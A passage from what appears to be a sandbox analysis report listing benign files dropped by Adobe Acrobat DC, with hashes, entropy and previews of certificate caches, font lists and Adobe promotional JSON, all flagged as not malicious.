SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.746484906506307
Encrypted:	false
SSDEEP:	3:kkFkl9331fllXlE/HT8kxzltNNX8RolJuRdxLlGB9lQRYwpDdt:kKu2T8CRNMa8RdWBwRd
MD5:	1324C1ADF97C2C9256A8D33C485F090F
SHA1:	C418A48522B751E6A04A2281250F145C391EEACA
SHA-256:	9EDC09B7CD26C01D71089016B3CD8C8F498386B5B4FD0CAB3EC3FA5A9A1DC119
SHA-512:	A6E67FEBF41F6D7BA0C86C667BD401A9E187376AB6A6EE4088D076A0A80E45C791C6AF02474D1382A89C333E95C280CB2D301DF9E9C88133F3FF6A527307741D
Malicious:	false
Preview:	p...... ...........lf..(....................................................... ..........W....`...............o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	328
Entropy (8bit):	3.2429904267830585
Encrypted:	false
SSDEEP:	6:kKPDpF9UswD8HGsL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:HtsDImsLNkPlE99SNxAhUe/3
MD5:	3C46A9A481C9AC86F6DA839B9D0AB7BE
SHA1:	20C9A1680029EE80D9DD6596E5FA212D6E304FEC
SHA-256:	B5C952B99E14065B6E7DD7BE7247BA0EE0BCDB70E59AC1731D88F72C2ED988C4
SHA-512:	AE0BD7C5D3EC978DC8012E9EF1C64844C0A95879135798CC3EBC42D4502E0A2B39D8F9633F83E1982FF65E8F87A56400708482DB20F8ACFA7F7E2E21D1848291
Malicious:	false
Preview:	p...... .........\|..lf..(....................................................... ........G..@.......&......X........h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.8080

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.8080

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.366754566410595
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDSmDIREEXHHVoZcg1vRcR0YeJKoAvJM3g98kUwPeUkwRe9:YvXKXFUqEXH2Zc0vf5GMbLUkee9
MD5:	873DBBFD03AA93B1DF50022ADC61572F
SHA1:	F7120CFD3A25C4D64423F1857CDF72EC2BD7A2AD
SHA-256:	3A635A4EA65E6A7A2CC7F0D62BF9B9AC3F5987D6FB0FFC897825F2AD39EE5DDB
SHA-512:	AF6CF88B046A8D4146E3DB2A728F2DA4A26F79AB96055423FBB72A527C8D2A69B5803C62D6503DBA502A35B5E584B67CC1D19A73F0FB8085B396423B9AB32729
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"42bf2f79-074f-4924-80b0-b80acced2e8b","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1737022361589,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.31495186031384
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDSmDIREEXHHVoZcg1vRcR0YeJKoAvJfBoTfXpnrPeUkwRe9:YvXKXFUqEXH2Zc0vf5GWTfXcUkee9
MD5:	0705253CF06F6CBCB967728AE7D436BD
SHA1:	14168380D67303E921C1D79BC8C712A71B04758D
SHA-256:	972669533BEF28EFE28499613286305DD72B04532DB42A7B9816F04DA93BD951
SHA-512:	6B17A111F9D9999B4920D3A5351FFAA55112C7BE4E7DF91D3A2834F451248EB2BF57DED13FE0C95461FE6CE58BDAC58143AC65ECE03BEB716CDA6D6809A44499
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"42bf2f79-074f-4924-80b0-b80acced2e8b","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1737022361589,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.293500176839845
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDSmDIREEXHHVoZcg1vRcR0YeJKoAvJfBD2G6UpnrPeUkwRe9:YvXKXFUqEXH2Zc0vf5GR22cUkee9
MD5:	BB87B8F4EF685D839BBD5DC9FE381688
SHA1:	7CE8A352971D41DD041A2E3FC9456450A4C10E86
SHA-256:	0167262AECC5CD061416C33B7FFAEF6F553A7900FCC5E6F3CE6B209D6B0755F2
SHA-512:	06D9B7A1273FAC66AAA8F1EE47C5995BE0F92486AB35C0E41570DCAD8998ECBC6F1AE739AAE24CE14A74257BAB87EB1782153BE2C15AA3EC92CA1D9072BFC29D
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"42bf2f79-074f-4924-80b0-b80acced2e8b","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1737022361589,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.353884061380961
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDSmDIREEXHHVoZcg1vRcR0YeJKoAvJfPmwrPeUkwRe9:YvXKXFUqEXH2Zc0vf5GH56Ukee9
MD5:	8BD9134D7058DEF99AE9E5F03901AA5F
SHA1:	DF71AA62AE9DE38C311D6D2B2F49069D9EF5C8F7
SHA-256:	091E0C2A1C966A1F1BA6B8641C01B7796B4448F2525766B386ED193DB450BB1E
SHA-512:	B9D376C7E2A4F84DF6F25979EFFE6043E2F427A434EDD67FBCC320C7070D898274E66D2EEB54C05172BA1254F2CED7730AB433C00AEE579405EE47A49D955192
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"42bf2f79-074f-4924-80b0-b80acced2e8b","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1737022361589,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.692425702996098
Encrypted:	false
SSDEEP:	24:Yv6XyH2zvfepLgE9cQx8LennAvzBvkn0RCmK8czOCCSn:YvIOhgy6SAFv5Ah8cv/n
MD5:	F392BBC301FE4AEF272CF2271F9E8EF2
SHA1:	8CCB3F9B78EFCEF9314A35E04B233A4179E70EF5
SHA-256:	C186AB6B45BF02EB62CC0A163BCD556BCDB695FE9ACAA7628331EE8CB36F6C4D
SHA-512:	045EE9482E9FD4DFE8A00B786C9C291D469F414618B515021FDE5E4542678F1C4D3CCB947A73A03B7D067FED3511A4AE4C9382D93D8ED5EE11160E385005E0B5
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"42bf2f79-074f-4924-80b0-b80acced2e8b","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1737022361589,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.301489447671489
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDSmDIREEXHHVoZcg1vRcR0YeJKoAvJf8dPeUkwRe9:YvXKXFUqEXH2Zc0vf5GU8Ukee9
MD5:	0BD4590D953D20DDB4AFBC3B2289DD29
SHA1:	9D41D25D3538B3D91F18C1DC7390D6B8FACFB475
SHA-256:	03C00AFB7DD9991B68983416E6AFF16E2E4ADABEAB7EEE2D088E4E1EFA637F74
SHA-512:	8F5BE93984605C4682B9E37D60963A53A1DCC26F3414404A49E0145E79BB4BC2B14567DA4AD8BF572BF618448922438717B5A6A6B62299CB75E95D153A1A34ED
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"42bf2f79-074f-4924-80b0-b80acced2e8b","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1737022361589,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.305065783369804
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDSmDIREEXHHVoZcg1vRcR0YeJKoAvJfQ1rPeUkwRe9:YvXKXFUqEXH2Zc0vf5GY16Ukee9
MD5:	30DD1769B64813D7768012B6174D6C4F
SHA1:	2A4ACCDD79F713A50FA4856E4707E8D138EF7030
SHA-256:	8F1AAB811D068AE64A70113CBC8F81929A185278BAD51EE48BB340CB56953BE7
SHA-512:	23AA12A516CA218AD5C1D8E0681BE261ABFD7DE860F05D8923C945852FBA3F9CB22FDFCAB7687194CD6ECB9C2F8480F3E089BA7C4175DB77AD92029188B5236E
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"42bf2f79-074f-4924-80b0-b80acced2e8b","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1737022361589,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.311797701470953
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDSmDIREEXHHVoZcg1vRcR0YeJKoAvJfFldPeUkwRe9:YvXKXFUqEXH2Zc0vf5Gz8Ukee9
MD5:	625C5DC73DB41BA8F9BACCB08C00A3D5
SHA1:	E7A210B2E788E2FE3AA03C81C557DD3CAB1AB3B8
SHA-256:	4BC311B522264932BA180DE7E685B825DD914AC198DBE8B7FC6D93CB2F27BABA
SHA-512:	FCCFACA092297C76D5097244E7EDC2BC1D05285BF3FAB3CD1DF6D0E3E014DEC75659978127EC6A2638E089128248E829A8E9A9D32658F5AFF292ED782815BF14
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"42bf2f79-074f-4924-80b0-b80acced2e8b","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1737022361589,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.327266137752456
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDSmDIREEXHHVoZcg1vRcR0YeJKoAvJfzdPeUkwRe9:YvXKXFUqEXH2Zc0vf5Gb8Ukee9
MD5:	5A27A3118ACC3526E53B068B76D69C1B
SHA1:	DF44870E9FF6AE4124E3545DD387945C90EE27FB
SHA-256:	9F07FF06547859A1E398A4891044815F0246A6B4ABC6E1F6EF194B5724E2599A
SHA-512:	9BFC3DED36B667678FC60396DCCE259318A33F9E6A6C4C959C14A8EFE80F2D65BF6255247394BB1122BAF89DE441FDB898660C91FF0550020B6F8E83FF48E6C9
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"42bf2f79-074f-4924-80b0-b80acced2e8b","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1737022361589,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.3077801285453585
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDSmDIREEXHHVoZcg1vRcR0YeJKoAvJfYdPeUkwRe9:YvXKXFUqEXH2Zc0vf5Gg8Ukee9
MD5:	5DD5BC82677382F4D17A655D8A97D541
